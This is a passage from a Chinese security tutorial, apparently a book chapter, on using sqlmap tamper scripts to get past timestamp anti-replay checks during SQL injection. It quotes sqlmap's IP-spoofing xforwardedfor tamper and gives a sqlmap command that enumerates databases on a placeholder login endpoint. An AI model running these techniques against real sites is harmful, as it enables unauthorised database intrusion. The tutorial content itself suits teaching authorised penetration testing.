3.10 使用tamper绕过时间戳进行注入

简介: 3.10 使用tamper绕过时间戳进行注入

3.10 使用tamper绕过时间戳进行注入

3.10.1 时间戳简介

  1. 时间戳定义

时间戳是指格林威治时间1970年01月01日 00时00分00秒(北京时间1970年01月01日 08时00分00秒) 起至现在的总秒数,通俗的讲,时间戳是能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据,她的提出主要是为了给用户提供一份电子证据,以证明用户的某些数据的产生时间,在实际应用中,她可以使用在包括电子商务,金融活动的各个方面,尤其可以用来支撑公开密钥基础设施的"不可否认性"服务

  1. 函数中的时间戳

UNIX时间戳(UNIX Timestamp) 或称UNIX时间(UNIX Time) POSIX时间(POSIX Time) 是一种时间表示方式,定义同上,UNIX时间戳不仅被使用在UNIX系统,类UNIX系统中(如:Linux系统) ,也在许多其他操作系统中被广泛采用

(1) PHP中获取时间戳的方法: time();Date()

(2) Linux中获取时间戳的方法:date +%s

(3) Linux中将时间戳转换为日期:date -d "@"

  1. 时间戳的Python代码

Python 2和3版本都可以执行

!/usr/bin/env python

coding=utf8

import time

t = time.time()

timestamp = int(round(t * 1000))

timestamp = str(timestamp)

print (timestamp)

  1. 时间戳在安全上的意义

很多站点为了增加攻击成本,提升站点的安全性,就会采用随机数+时间戳+username的方式进行安全验证,同时每天对该值进行清理,避免抓包重放攻击,Timestamp是根据服务器当前时间生成的一个字符串,与nonce 随机数放在一起,可以表示服务器在某个时间点生成的随机数,这样就算生成的随机数相同,但是因为她们的时间点不一样,所以也算有效的随机数,所以一些注重安全的站点会使用此方法采取了一些防范措施来防止重放攻击,简单的理解就是为了防范使用Burpsuite通过各种时间戳组合进行抓包重放攻击

3.10.2 分析sqlmap中的插件代码

xforwardedfor.py 插件代码,代码位置在sqlmap的 tamper目录下有个xforwardedfor.py插件

部分代码:

def tamper(payload, **kwargs):

"""

Append a fake HTTP header 'X-Forwarded-For' (and alike)

"""



headers = kwargs.get("headers", {})  # 以字典的方式取出header包头数据

headers["X-Forwarded-For"] = randomIP() # 然后将headers包头数据中的X-Forwarded-for地址使用随机地址

headers["X-Client-Ip"] = randomIP()

headers["X-Real-Ip"] = randomIP()

headers["CF-Connecting-IP"] = randomIP()

headers["True-Client-IP"] = randomIP()



# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection

headers["Via"] = "1.1 Chrome-Compression-Proxy"



# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007

headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]



return payload

3.10.3 编写绕过时间戳代码

  1. 代码文件

作者随书配套有对应的代码文件

  1. 使用方法

文件名:replacehead.py , 将该文件复制到tamper目录下,使用方法如下:

sqlmap.py -u "http://xxx.com/openapi/v1/users/login" --data "(\"loginid\":\"13121838135\", \"passowrd\":\"12345\")" --tamper "replacehead" --dbms=mysql -v 5 --dbs --proxy=http://127.0.0.1:9988

相关文章
|
SQL 监控 druid
Druid未授权访问 漏洞复现
Druid未授权访问 漏洞复现
19667 0
|
11月前
|
安全 Unix Linux
VMware Workstation 17.6.3 发布下载,现在完全免费无论个人还是商业用途
VMware Workstation 17.6.3 发布下载,现在完全免费无论个人还是商业用途
106287 65
|
安全 网络协议 NoSQL
SSRF漏洞深入利用与防御方案绕过技巧
SSRF漏洞深入利用与防御方案绕过技巧
1236 0
|
Linux Docker 容器
Centos安装docker(linux安装docker)——超详细小白可操作手把手教程,包好用!!!
本篇博客重在讲解Centos安装docker,经博主多次在不同服务器上测试,极其的稳定,尤其是阿里的服务器,一路复制命令畅通无阻。
22017 5
Centos安装docker(linux安装docker)——超详细小白可操作手把手教程,包好用!!!
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
9575 0
|
SQL 安全 测试技术
扫描神器:AppScan 保姆级教程(附步骤)
扫描神器:AppScan 保姆级教程(附步骤)
|
运维 监控 安全
|
安全 Oracle Java
burpsuite基本使用
burpsuite基本使用
|
数据采集 JavaScript 前端开发
【逆向基础】JS逆向入门:小白也可以看懂
【逆向基础】JS逆向入门:小白也可以看懂